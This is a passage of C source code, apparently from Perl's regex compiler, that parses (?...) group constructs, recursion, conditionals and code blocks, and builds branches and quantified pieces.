SvREFCNT_inc_NN(svname))) SvREFCNT_dec_NN(svname); #endif /*sv_dump(sv_dat);*/ } nextchar(pRExC_state); paren = 1; goto capturing_parens; } RExC_seen |= REG_LOOKBEHIND_SEEN; RExC_in_lookbehind++; RExC_parse++; if (RExC_parse >= RExC_end) { vFAIL("Sequence (?... not terminated"); } /* FALLTHROUGH */ case '=': /* (?=...) */ RExC_seen_zerolen++; break; case '!': /* (?!...) */ RExC_seen_zerolen++; /* check if we're really just a "FAIL" assertion */ skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); if (*RExC_parse == ')') { ret=reganode(pRExC_state, OPFAIL, 0); nextchar(pRExC_state); return ret; } break; case '|': /* (?|...) */ /* branch reset, behave like a (?:...) except that buffers in alternations share the same numbers */ paren = ':'; after_freeze = freeze_paren = RExC_npar; /* XXX This construct currently requires an extra pass. * Investigation would be required to see if that could be * changed */ REQUIRE_PARENS_PASS; break; case ':': /* (?:...) */ case '>': /* (?>...) */ break; case '$': /* (?$...) */ case '@': /* (?@...) */ vFAIL2("Sequence (?%c...) not implemented", (int)paren); break; case '0' : /* (?0) */ case 'R' : /* (?R) */ if (RExC_parse == RExC_end || *RExC_parse != ')') FAIL("Sequence (?R) not terminated"); num = 0; RExC_seen |= REG_RECURSE_SEEN; /* XXX These constructs currently require an extra pass. * It probably could be changed */ REQUIRE_PARENS_PASS; *flagp |= POSTPONED; goto gen_recurse_regop; /*notreached*/ /* named and numeric backreferences */ case '&': /* (?&NAME) */ parse_start = RExC_parse - 1; named_recursion: { SV *sv_dat = reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); num = sv_dat ? *((I32 *)SvPVX(sv_dat)) : 0; } if (RExC_parse >= RExC_end || *RExC_parse != ')') vFAIL("Sequence (?&... not terminated"); goto gen_recurse_regop; /* NOTREACHED */ case '+': if (! inRANGE(RExC_parse[0], '1', '9')) { RExC_parse++; vFAIL("Illegal pattern"); } goto parse_recursion; /* NOTREACHED*/ case '-': /* (?-1) */ if (! inRANGE(RExC_parse[0], '1', '9')) { RExC_parse--; /* rewind to let it be handled later */ goto parse_flags; } /* FALLTHROUGH */ case '1': case '2': case '3': case '4': /* (?1) */ case '5': case '6': case '7': case '8': case '9': RExC_parse = (char *) seqstart + 1; /* Point to the digit */ parse_recursion: { bool is_neg = FALSE; UV unum; parse_start = RExC_parse - 1; /* MJD */ if (*RExC_parse == '-') { RExC_parse++; is_neg = TRUE; } endptr = RExC_end; if (grok_atoUV(RExC_parse, &unum, &endptr) && unum <= I32_MAX ) { num = (I32)unum; RExC_parse = (char*)endptr; } else num = I32_MAX; if (is_neg) { /* Some limit for num? */ num = -num; } } if (*RExC_parse!=')') vFAIL("Expecting close bracket"); gen_recurse_regop: if ( paren == '-' ) { /* Diagram of capture buffer numbering. Top line is the normal capture buffer numbers Bottom line is the negative indexing as from the X (the (?-2)) + 1 2 3 4 5 X 6 7 /(a(x)y)(a(b(c(?-2)d)e)f)(g(h))/ - 5 4 3 2 1 X x x */ num = RExC_npar + num; if (num < 1) { /* It might be a forward reference; we can't fail until * we know, by completing the parse to get all the * groups, and then reparsing */ if (ALL_PARENS_COUNTED) { RExC_parse++; vFAIL("Reference to nonexistent group"); } else { REQUIRE_PARENS_PASS; } } } else if ( paren == '+' ) { num = RExC_npar + num - 1; } /* We keep track how many GOSUB items we have produced. To start off the ARG2L() of the GOSUB holds its "id", which is used later in conjunction with RExC_recurse to calculate the offset we need to jump for the GOSUB, which it will store in the final representation. We have to defer the actual calculation until much later as the regop may move. */ ret = reg2Lanode(pRExC_state, GOSUB, num, RExC_recurse_count); if (num >= RExC_npar) { /* It might be a forward reference; we can't fail until we * know, by completing the parse to get all the groups, and * then reparsing */ if (ALL_PARENS_COUNTED) { if (num >= RExC_total_parens) { RExC_parse++; vFAIL("Reference to nonexistent group"); } } else { REQUIRE_PARENS_PASS; } } RExC_recurse_count++; DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Recurse #%" UVuf " to %" IVdf "\n", 22, "| |", (int)(depth * 2 + 1), "", (UV)ARG(REGNODE_p(ret)), (IV)ARG2L(REGNODE_p(ret)))); RExC_seen |= REG_RECURSE_SEEN; Set_Node_Length(REGNODE_p(ret), 1 + regarglen[OP(REGNODE_p(ret))]); /* MJD */ Set_Node_Offset(REGNODE_p(ret), parse_start); /* MJD */ *flagp |= POSTPONED; assert(*RExC_parse == ')'); nextchar(pRExC_state); return ret; /* NOTREACHED */ case '?': /* (??...) */ is_logical = 1; if (*RExC_parse != '{') { RExC_parse += SKIP_IF_CHAR(RExC_parse, RExC_end); /* diag_listed_as: Sequence (?%s...) not recognized in regex; marked by <-- HERE in m/%s/ */ vFAIL2utf8f( "Sequence (%" UTF8f "...) not recognized", UTF8fARG(UTF, RExC_parse-seqstart, seqstart)); NOT_REACHED; /*NOTREACHED*/ } *flagp |= POSTPONED; paren = '{'; RExC_parse++; /* FALLTHROUGH */ case '{': /* (?{...}) */ { U32 n = 0; struct reg_code_block *cb; OP * o; RExC_seen_zerolen++; if ( !pRExC_state->code_blocks || pRExC_state->code_index >= pRExC_state->code_blocks->count || pRExC_state->code_blocks->cb[pRExC_state->code_index].start != (STRLEN)((RExC_parse -3 - (is_logical ? 1 : 0)) - RExC_start) ) { if (RExC_pm_flags & PMf_USE_RE_EVAL) FAIL("panic: Sequence (?{...}): no code block found\n"); FAIL("Eval-group not allowed at runtime, use re 'eval'"); } /* this is a pre-compiled code block (?{...}) */ cb = &pRExC_state->code_blocks->cb[pRExC_state->code_index]; RExC_parse = RExC_start + cb->end; o = cb->block; if (cb->src_regex) { n = add_data(pRExC_state, STR_WITH_LEN("rl")); RExC_rxi->data->data[n] = (void*)SvREFCNT_inc((SV*)cb->src_regex); RExC_rxi->data->data[n+1] = (void*)o; } else { n = add_data(pRExC_state, (RExC_pm_flags & PMf_HAS_CV) ? "L" : "l", 1); RExC_rxi->data->data[n] = (void*)o; } pRExC_state->code_index++; nextchar(pRExC_state); if (is_logical) { regnode_offset eval; ret = reg_node(pRExC_state, LOGICAL); eval = reg2Lanode(pRExC_state, EVAL, n, /* for later propagation into (??{}) * return value */ RExC_flags & RXf_PMf_COMPILETIME ); FLAGS(REGNODE_p(ret)) = 2; if (! REGTAIL(pRExC_state, ret, eval)) { REQUIRE_BRANCHJ(flagp, 0); } /* deal with the length of this later - MJD */ return ret; } ret = reg2Lanode(pRExC_state, EVAL, n, 0); Set_Node_Length(REGNODE_p(ret), RExC_parse - parse_start + 1); Set_Node_Offset(REGNODE_p(ret), parse_start); return ret; } case '(': /* (?(?{...})...) and (?(?=...)...) */ { int is_define= 0; const int DEFINE_len = sizeof("DEFINE") - 1; if ( RExC_parse < RExC_end - 1 && ( ( RExC_parse[0] == '?' /* (?(?...)) */ && ( RExC_parse[1] == '=' || RExC_parse[1] == '!' || RExC_parse[1] == '<' || RExC_parse[1] == '{')) || ( RExC_parse[0] == '*' /* (?(*...)) */ && ( memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "pla:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "plb:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "nla:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "nlb:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "positive_lookahead:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "positive_lookbehind:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "negative_lookahead:") || memBEGINs(RExC_parse + 1, (Size_t) (RExC_end - (RExC_parse + 1)), "negative_lookbehind:")))) ) { /* Lookahead or eval. */ I32 flag; regnode_offset tail; ret = reg_node(pRExC_state, LOGICAL); FLAGS(REGNODE_p(ret)) = 1; tail = reg(pRExC_state, 1, &flag, depth+1); RETURN_FAIL_ON_RESTART(flag, flagp); if (! REGTAIL(pRExC_state, ret, tail)) { REQUIRE_BRANCHJ(flagp, 0); } goto insert_if; } else if ( RExC_parse[0] == '<' /* (?(<NAME>)...) */ || RExC_parse[0] == '\'' ) /* (?('NAME')...) */ { char ch = RExC_parse[0] == '<' ? '>' : '\''; char *name_start= RExC_parse++; U32 num = 0; SV *sv_dat=reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); if ( RExC_parse == name_start || RExC_parse >= RExC_end || *RExC_parse != ch) { vFAIL2("Sequence (?(%c... not terminated", (ch == '>' ? '<' : ch)); } RExC_parse++; if (sv_dat) { num = add_data( pRExC_state, STR_WITH_LEN("S")); RExC_rxi->data->data[num]=(void*)sv_dat; SvREFCNT_inc_simple_void_NN(sv_dat); } ret = reganode(pRExC_state, NGROUPP, num); goto insert_if_check_paren; } else if (memBEGINs(RExC_parse, (STRLEN) (RExC_end - RExC_parse), "DEFINE")) { ret = reganode(pRExC_state, DEFINEP, 0); RExC_parse += DEFINE_len; is_define = 1; goto insert_if_check_paren; } else if (RExC_parse[0] == 'R') { RExC_parse++; /* parno == 0 => /(?(R)YES|NO)/ "in any form of recursion OR eval" * parno == 1 => /(?(R0)YES|NO)/ "in GOSUB (?0) / (?R)" * parno == 2 => /(?(R1)YES|NO)/ "in GOSUB (?1) (parno-1)" */ parno = 0; if (RExC_parse[0] == '0') { parno = 1; RExC_parse++; } else if (inRANGE(RExC_parse[0], '1', '9')) { UV uv; endptr = RExC_end; if (grok_atoUV(RExC_parse, &uv, &endptr) && uv <= I32_MAX ) { parno = (I32)uv + 1; RExC_parse = (char*)endptr; } /* else "Switch condition not recognized" below */ } else if (RExC_parse[0] == '&') { SV *sv_dat; RExC_parse++; sv_dat = reg_scan_name(pRExC_state, REG_RSN_RETURN_DATA); if (sv_dat) parno = 1 + *((I32 *)SvPVX(sv_dat)); } ret = reganode(pRExC_state, INSUBP, parno); goto insert_if_check_paren; } else if (inRANGE(RExC_parse[0], '1', '9')) { /* (?(1)...) */ char c; UV uv; endptr = RExC_end; if (grok_atoUV(RExC_parse, &uv, &endptr) && uv <= I32_MAX ) { parno = (I32)uv; RExC_parse = (char*)endptr; } else { vFAIL("panic: grok_atoUV returned FALSE"); } ret = reganode(pRExC_state, GROUPP, parno); insert_if_check_paren: if (UCHARAT(RExC_parse) != ')') { RExC_parse += UTF ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL("Switch condition not recognized"); } nextchar(pRExC_state); insert_if: if (! REGTAIL(pRExC_state, ret, reganode(pRExC_state, IFTHEN, 0))) { REQUIRE_BRANCHJ(flagp, 0); } br = regbranch(pRExC_state, &flags, 1, depth+1); if (br == 0) { RETURN_FAIL_ON_RESTART(flags,flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } else if (! REGTAIL(pRExC_state, br, reganode(pRExC_state, LONGJMP, 0))) { REQUIRE_BRANCHJ(flagp, 0); } c = UCHARAT(RExC_parse); nextchar(pRExC_state); if (flags&HASWIDTH) *flagp |= HASWIDTH; if (c == '|') { if (is_define) vFAIL("(?(DEFINE)....) does not allow branches"); /* Fake one for optimizer. */ lastbr = reganode(pRExC_state, IFTHEN, 0); if (!regbranch(pRExC_state, &flags, 1, depth+1)) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } if (! REGTAIL(pRExC_state, ret, lastbr)) { REQUIRE_BRANCHJ(flagp, 0); } if (flags&HASWIDTH) *flagp |= HASWIDTH; c = UCHARAT(RExC_parse); nextchar(pRExC_state); } else lastbr = 0; if (c != ')') { if (RExC_parse >= RExC_end) vFAIL("Switch (?(condition)... not terminated"); else vFAIL("Switch (?(condition)... contains too many branches"); } ender = reg_node(pRExC_state, TAIL); if (! REGTAIL(pRExC_state, br, ender)) { REQUIRE_BRANCHJ(flagp, 0); } if (lastbr) { if (! REGTAIL(pRExC_state, lastbr, ender)) { REQUIRE_BRANCHJ(flagp, 0); } if (! REGTAIL(pRExC_state, REGNODE_OFFSET( NEXTOPER( NEXTOPER(REGNODE_p(lastbr)))), ender)) { REQUIRE_BRANCHJ(flagp, 0); } } else if (! REGTAIL(pRExC_state, ret, ender)) { REQUIRE_BRANCHJ(flagp, 0); } #if 0 /* Removing this doesn't cause failures in the test suite -- khw */ RExC_size++; /* XXX WHY do we need this?!! For large programs it seems to be required but I can't figure out why. -- dmq*/ #endif return ret; } RExC_parse += UTF ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL("Unknown switch condition (?(...))"); } case '[': /* (?[ ... ]) */ return handle_regex_sets(pRExC_state, NULL, flagp, depth+1, oregcomp_parse); case 0: /* A NUL */ RExC_parse--; /* for vFAIL to print correctly */ vFAIL("Sequence (? incomplete"); break; case ')': if (RExC_strict) { /* [perl #132851] */ ckWARNreg(RExC_parse, "Empty (?) without any modifiers"); } /* FALLTHROUGH */ default: /* e.g., (?i) */ RExC_parse = (char *) seqstart + 1; parse_flags: parse_lparen_question_flags(pRExC_state); if (UCHARAT(RExC_parse) != ':') { if (RExC_parse < RExC_end) nextchar(pRExC_state); *flagp = TRYAGAIN; return 0; } paren = ':'; nextchar(pRExC_state); ret = 0; goto parse_rest; } /* end switch */ } else { if (*RExC_parse == '{') { ckWARNregdep(RExC_parse + 1, "Unescaped left brace in regex is " "deprecated here (and will be fatal " "in Perl 5.32), passed through"); } /* Not bothering to indent here, as the above 'else' is temporary * */ if (!(RExC_flags & RXf_PMf_NOCAPTURE)) { /* (...) */ capturing_parens: parno = RExC_npar; RExC_npar++; if (! ALL_PARENS_COUNTED) { /* If we are in our first pass through (and maybe only pass), * we need to allocate memory for the capturing parentheses * data structures. */ if (!RExC_parens_buf_size) { /* first guess at number of parens we might encounter */ RExC_parens_buf_size = 10; /* setup RExC_open_parens, which holds the address of each * OPEN tag, and to make things simpler for the 0 index the * start of the program - this is used later for offsets */ Newxz(RExC_open_parens, RExC_parens_buf_size, regnode_offset); RExC_open_parens[0] = 1; /* +1 for REG_MAGIC */ /* setup RExC_close_parens, which holds the address of each * CLOSE tag, and to make things simpler for the 0 index * the end of the program - this is used later for offsets * */ Newxz(RExC_close_parens, RExC_parens_buf_size, regnode_offset); /* we dont know where end op starts yet, so we dont need to * set RExC_close_parens[0] like we do RExC_open_parens[0] * above */ } else if (RExC_npar > RExC_parens_buf_size) { I32 old_size = RExC_parens_buf_size; RExC_parens_buf_size *= 2; Renew(RExC_open_parens, RExC_parens_buf_size, regnode_offset); Zero(RExC_open_parens + old_size, RExC_parens_buf_size - old_size, regnode_offset); Renew(RExC_close_parens, RExC_parens_buf_size, regnode_offset); Zero(RExC_close_parens + old_size, RExC_parens_buf_size - old_size, regnode_offset); } } ret = reganode(pRExC_state, OPEN, parno); if (!RExC_nestroot) RExC_nestroot = parno; if (RExC_open_parens && !RExC_open_parens[parno]) { DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Setting open paren #%" IVdf " to %d\n", 22, "| |", (int)(depth * 2 + 1), "", (IV)parno, ret)); RExC_open_parens[parno]= ret; } Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ Set_Node_Offset(REGNODE_p(ret), RExC_parse); /* MJD */ is_open = 1; } else { /* with RXf_PMf_NOCAPTURE treat (...) as (?:...) */ paren = ':'; ret = 0; } } } else /* ! paren */ ret = 0; parse_rest: /* Pick up the branches, linking them together. */ parse_start = RExC_parse; /* MJD */ br = regbranch(pRExC_state, &flags, 1, depth+1); /* branch_len = (paren != 0); */ if (br == 0) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } if (*RExC_parse == '|') { if (RExC_use_BRANCHJ) { reginsert(pRExC_state, BRANCHJ, br, depth+1); } else { /* MJD */ reginsert(pRExC_state, BRANCH, br, depth+1); Set_Node_Length(REGNODE_p(br), paren != 0); Set_Node_Offset_To_R(br, parse_start-RExC_start); } have_branch = 1; } else if (paren == ':') { *flagp |= flags&SIMPLE; } if (is_open) { /* Starts with OPEN. */ if (! REGTAIL(pRExC_state, ret, br)) { /* OPEN -> first. */ REQUIRE_BRANCHJ(flagp, 0); } } else if (paren != '?') /* Not Conditional */ ret = br; *flagp |= flags & (SPSTART | HASWIDTH | POSTPONED); lastbr = br; while (*RExC_parse == '|') { if (RExC_use_BRANCHJ) { bool shut_gcc_up; ender = reganode(pRExC_state, LONGJMP, 0); /* Append to the previous. */ shut_gcc_up = REGTAIL(pRExC_state, REGNODE_OFFSET(NEXTOPER(NEXTOPER(REGNODE_p(lastbr)))), ender); PERL_UNUSED_VAR(shut_gcc_up); } nextchar(pRExC_state); if (freeze_paren) { if (RExC_npar > after_freeze) after_freeze = RExC_npar; RExC_npar = freeze_paren; } br = regbranch(pRExC_state, &flags, 0, depth+1); if (br == 0) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } if (! REGTAIL(pRExC_state, lastbr, br)) { /* BRANCH -> BRANCH. */ REQUIRE_BRANCHJ(flagp, 0); } lastbr = br; *flagp |= flags & (SPSTART | HASWIDTH | POSTPONED); } if (have_branch || paren != ':') { regnode * br; /* Make a closing node, and hook it on the end. */ switch (paren) { case ':': ender = reg_node(pRExC_state, TAIL); break; case 1: case 2: ender = reganode(pRExC_state, CLOSE, parno); if ( RExC_close_parens ) { DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Setting close paren #%" IVdf " to %d\n", 22, "| |", (int)(depth * 2 + 1), "", (IV)parno, ender)); RExC_close_parens[parno]= ender; if (RExC_nestroot == parno) RExC_nestroot = 0; } Set_Node_Offset(REGNODE_p(ender), RExC_parse+1); /* MJD */ Set_Node_Length(REGNODE_p(ender), 1); /* MJD */ break; case 's': ender = reg_node(pRExC_state, SRCLOSE); RExC_in_script_run = 0; break; case '<': case 'a': case 'A': case 'b': case 'B': case ',': case '=': case '!': *flagp &= ~HASWIDTH; /* FALLTHROUGH */ case 't': /* aTomic */ case '>': ender = reg_node(pRExC_state, SUCCEED); break; case 0: ender = reg_node(pRExC_state, END); assert(!RExC_end_op); /* there can only be one! */ RExC_end_op = REGNODE_p(ender); if (RExC_close_parens) { DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Setting close paren #0 (END) to %d\n", 22, "| |", (int)(depth * 2 + 1), "", ender)); RExC_close_parens[0]= ender; } break; } DEBUG_PARSE_r({ DEBUG_PARSE_MSG("lsbr"); regprop(RExC_rx, RExC_mysv1, REGNODE_p(lastbr), NULL, pRExC_state); regprop(RExC_rx, RExC_mysv2, REGNODE_p(ender), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ tying lastbr %s (%" IVdf ") to ender %s (%" IVdf ") offset %" IVdf "\n", SvPV_nolen_const(RExC_mysv1), (IV)lastbr, SvPV_nolen_const(RExC_mysv2), (IV)ender, (IV)(ender - lastbr) ); }); if (! REGTAIL(pRExC_state, lastbr, ender)) { REQUIRE_BRANCHJ(flagp, 0); } if (have_branch) { char is_nothing= 1; if (depth==1) RExC_seen |= REG_TOP_LEVEL_BRANCHES_SEEN; /* Hook the tails of the branches to the closing node. */ for (br = REGNODE_p(ret); br; br = regnext(br)) { const U8 op = PL_regkind[OP(br)]; if (op == BRANCH) { if (! REGTAIL_STUDY(pRExC_state, REGNODE_OFFSET(NEXTOPER(br)), ender)) { REQUIRE_BRANCHJ(flagp, 0); } if ( OP(NEXTOPER(br)) != NOTHING || regnext(NEXTOPER(br)) != REGNODE_p(ender)) is_nothing= 0; } else if (op == BRANCHJ) { bool shut_gcc_up = REGTAIL_STUDY(pRExC_state, REGNODE_OFFSET(NEXTOPER(NEXTOPER(br))), ender); PERL_UNUSED_VAR(shut_gcc_up); /* for now we always disable this optimisation * / if ( OP(NEXTOPER(NEXTOPER(br))) != NOTHING || regnext(NEXTOPER(NEXTOPER(br))) != REGNODE_p(ender)) */ is_nothing= 0; } } if (is_nothing) { regnode * ret_as_regnode = REGNODE_p(ret); br= PL_regkind[OP(ret_as_regnode)] != BRANCH ? regnext(ret_as_regnode) : ret_as_regnode; DEBUG_PARSE_r({ DEBUG_PARSE_MSG("NADA"); regprop(RExC_rx, RExC_mysv1, ret_as_regnode, NULL, pRExC_state); regprop(RExC_rx, RExC_mysv2, REGNODE_p(ender), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ converting ret %s (%" IVdf ") to ender %s (%" IVdf ") offset %" IVdf "\n", SvPV_nolen_const(RExC_mysv1), (IV)REG_NODE_NUM(ret_as_regnode), SvPV_nolen_const(RExC_mysv2), (IV)ender, (IV)(ender - ret) ); }); OP(br)= NOTHING; if (OP(REGNODE_p(ender)) == TAIL) { NEXT_OFF(br)= 0; RExC_emit= REGNODE_OFFSET(br) + 1; } else { regnode *opt; for ( opt= br + 1; opt < REGNODE_p(ender) ; opt++ ) OP(opt)= OPTIMIZED; NEXT_OFF(br)= REGNODE_p(ender) - br; } } } } { const char *p; /* Even/odd or x=don't care: 010101x10x */ static const char parens[] = "=!aA<,>Bbt"; /* flag below is set to 0 up through 'A'; 1 for larger */ if (paren && (p = strchr(parens, paren))) { U8 node = ((p - parens) % 2) ? UNLESSM : IFMATCH; int flag = (p - parens) > 3; if (paren == '>' || paren == 't') { node = SUSPEND, flag = 0; } reginsert(pRExC_state, node, ret, depth+1); Set_Node_Cur_Length(REGNODE_p(ret), parse_start); Set_Node_Offset(REGNODE_p(ret), parse_start + 1); FLAGS(REGNODE_p(ret)) = flag; if (! REGTAIL_STUDY(pRExC_state, ret, reg_node(pRExC_state, TAIL))) { REQUIRE_BRANCHJ(flagp, 0); } } } /* Check for proper termination. */ if (paren) { /* restore original flags, but keep (?p) and, if we've encountered * something in the parse that changes /d rules into /u, keep the /u */ RExC_flags = oregflags | (RExC_flags & RXf_PMf_KEEPCOPY); if (DEPENDS_SEMANTICS && RExC_uni_semantics) { set_regex_charset(&RExC_flags, REGEX_UNICODE_CHARSET); } if (RExC_parse >= RExC_end || UCHARAT(RExC_parse) != ')') { RExC_parse = oregcomp_parse; vFAIL("Unmatched ("); } nextchar(pRExC_state); } else if (!paren && RExC_parse < RExC_end) { if (*RExC_parse == ')') { RExC_parse++; vFAIL("Unmatched )"); } else FAIL("Junk on end of regexp"); /* "Can't happen". */ NOT_REACHED; /* NOTREACHED */ } if (RExC_in_lookbehind) { RExC_in_lookbehind--; } if (after_freeze > RExC_npar) RExC_npar = after_freeze; return(ret); } /* - regbranch - one alternative of an | operator * * Implements the concatenation operator. * * On success, returns the offset at which any next node should be placed into * the regex engine program being compiled. * * Returns 0 otherwise, setting flagp to RESTART_PARSE if the parse needs * to be restarted, or'd with NEED_UTF8 if the pattern needs to be upgraded to * UTF-8 */ STATIC regnode_offset S_regbranch(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, I32 first, U32 depth) { regnode_offset ret; regnode_offset chain = 0; regnode_offset latest; I32 flags = 0, c = 0; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGBRANCH; DEBUG_PARSE("brnc"); if (first) ret = 0; else { if (RExC_use_BRANCHJ) ret = reganode(pRExC_state, BRANCHJ, 0); else { ret = reg_node(pRExC_state, BRANCH); Set_Node_Length(REGNODE_p(ret), 1); } } *flagp = WORST; /* Tentatively. */ skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); while (RExC_parse < RExC_end && *RExC_parse != '|' && *RExC_parse != ')') { flags &= ~TRYAGAIN; latest = regpiece(pRExC_state, &flags, depth+1); if (latest == 0) { if (flags & TRYAGAIN) continue; RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regpiece returned failure, flags=%#" UVxf, (UV) flags); } else if (ret == 0) ret = latest; *flagp |= flags&(HASWIDTH|POSTPONED); if (chain == 0) /* First piece. */ *flagp |= flags&SPSTART; else { /* FIXME adding one for every branch after the first is probably * excessive now we have TRIE support. (hv) */ MARK_NAUGHTY(1); if (! REGTAIL(pRExC_state, chain, latest)) { /* XXX We could just redo this branch, but figuring out what * bookkeeping needs to be reset is a pain, and it's likely * that other branches that goto END will also be too large */ REQUIRE_BRANCHJ(flagp, 0); } } chain = latest; c++; } if (chain == 0) { /* Loop ran zero times. */ chain = reg_node(pRExC_state, NOTHING); if (ret == 0) ret = chain; } if (c == 1) { *flagp |= flags&SIMPLE; } return ret; } /* - regpiece - something followed by possible quantifier * + ? {n,m} * * Note that the branching code sequences used for ? and the general cases * of * and + are somewhat optimized: they use the same NOTHING node as * both the endmarker for their branch list and the body of the last branch. * It might seem that this node could be dispensed with entirely, but the * endmarker role is not redundant. * * On success, returns the offset at which any next node should be placed into * the regex engine program being compiled. * * Returns 0 otherwise, with *flagp set to indicate why: * TRYAGAIN if regatom() returns 0 with TRYAGAIN. * RESTART_PARSE if the parse needs to be restarted, or'd with * NEED_UTF8 if the pattern needs to be upgraded to UTF-8. */ STATIC regnode_offset S_regpiece(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth) { regnode_offset ret; char op; char *next; I32 flags; const char * const origparse = RExC_parse; I32 min; I32 max = REG_INFTY; #ifdef RE_TRACK_PATTERN_OFFSETS char *parse_start; #endif const char *maxpos = NULL; UV uv; /* Save the original in case we change the emitted regop to a FAIL. */ const regnode_offset orig_emit = RExC_emit; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGPIECE; DEBUG_PARSE("piec"); ret = regatom(pRExC_state, &flags, depth+1); if (ret == 0) { RETURN_FAIL_ON_RESTART_OR_FLAGS(flags, flagp, TRYAGAIN); FAIL2("panic: regatom returned failure, flags=%#" UVxf, (UV) flags); } op = *RExC_parse; if (op == '{' && regcurly(RExC_parse)) { maxpos = NULL; #ifdef RE_TRACK_PATTERN_OFFSETS parse_start = RExC_parse; /* MJD */ #endif next = RExC_parse + 1; while (isDIGIT(*next) || *next == ',') { if (*next == ',') { if (maxpos) break; else maxpos = next; } next++; } if (*next == '}') { /* got one */ const char* endptr; if (!maxpos) maxpos = next; RExC_parse++; if (isDIGIT(*RExC_parse)) { endptr = RExC_end; if (!grok_atoUV(RExC_parse, &uv, &endptr)) vFAIL("Invalid quantifier in {,}"); if (uv >= REG_INFTY) vFAIL2("Quantifier in {,} bigger than %d", REG_INFTY - 1); min = (I32)uv; } else { min = 0; } if (*maxpos == ',') maxpos++; else maxpos = RExC_parse; if (isDIGIT(*maxpos)) { endptr = RExC_end; if (!grok_atoUV(maxpos, &uv, &endptr)) vFAIL("Invalid quantifier in {,}"); if (uv >= REG_INFTY) vFAIL2("Quantifier in {,} bigger than %d", REG_INFTY - 1); max = (I32)uv; } else { max = REG_INFTY; /* meaning "infinity" */ } RExC_parse = next; nextchar(pRExC_state); if (max < min) { /* If can't match, warn and optimize to fail unconditionally */ reginsert(pRExC_state, OPFAIL, orig_emit, depth+1); ckWARNreg(RExC_parse, "Quantifier {n,m} with n > m can't match"); NEXT_OFF(REGNODE_p(orig_emit)) = regarglen[OPFAIL] + NODE_STEP_REGNODE; return ret; } else if (min == max && *RExC_parse == '?') { ckWARN2reg(RExC_parse + 1, "Useless use of greediness modifier '%c'", *RExC_parse); } do_curly: if ((flags&SIMPLE)) { if (min == 0 && max == REG_INFTY) { reginsert(pRExC_state, STAR, ret, depth+1); MARK_NAUGHTY(4); RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN; goto nest_check; } if (min == 1 && max == REG_INFTY) { reginsert(pRExC_state, PLUS, ret, depth+1); MARK_NAUGHTY(3); RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN; goto nest_check; } MARK_NAUGHTY_EXP(2, 2); reginsert(pRExC_state, CURLY, ret, depth+1); Set_Node_Offset(REGNODE_p(ret), parse_start+1); /* MJD */ Set_Node_Cur_Length(REGNODE_p(ret), parse_start); } else { const regnode_offset w = reg_node(pRExC_state, WHILEM); FLAGS(REGNODE_p(w)) = 0; if (! REGTAIL(pRExC_state, ret, w)) { REQUIRE_BRANCHJ(flagp, 0); } if (RExC_use_BRANCHJ) { reginsert(pRExC_state, LONGJMP, ret, depth+1); reginsert(pRExC_state, NOTHING, ret, depth+1); NEXT_OFF(REGNODE_p(ret)) = 3; /* Go over LONGJMP. */ } reginsert(pRExC_state, CURLYX, ret, depth+1); /* MJD hk */ Set_Node_Offset(REGNODE_p(ret), parse_start+1); Set_Node_Length(REGNODE_p(ret), op == '{' ? (RExC_parse - parse_start) : 1); if (RExC_use_BRANCHJ) NEXT_OFF(REGNODE_p(ret)) = 3; /* Go over NOTHING to LONGJMP. */ if (! REGTAIL(pRExC_state, ret, reg_node(pRExC_state, NOTHING))) { REQUIRE_BRANCHJ(flagp, 0); } RExC_whilem_seen++; MARK_NAUGHTY_EXP(1, 4); /* compound interest */ } FLAGS(REGNODE_p(ret)) = 0; if (min > 0) *flagp = WORST; if (max > 0) *flagp |= HASWIDTH; ARG1_SET(REGNODE_p(ret), (U16)min); ARG2_SET(REGNODE_p(ret), (U16)max); if (max == REG_INFTY) RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN; goto nest_check; } } if (!ISMULT1(op)) { *flagp = flags; return(ret); } #if 0 /* Now runtime fix should be reliable. */ /* if this is reinstated, don't forget to put this back into perldiag: =item Regexp *+ operand could be empty at {#} in regex m/%s/ (F) The part of the regexp subject to either the * or + quantifier could match an empty string. The {#} shows in the regular expression about where the problem was discovered. */ if (!(flags&HASWIDTH) && op != '?') vFAIL("Regexp *+ operand could be empty"); #endif #ifdef RE_TRACK_PATTERN_OFFSETS parse_start = RExC_parse; #endif 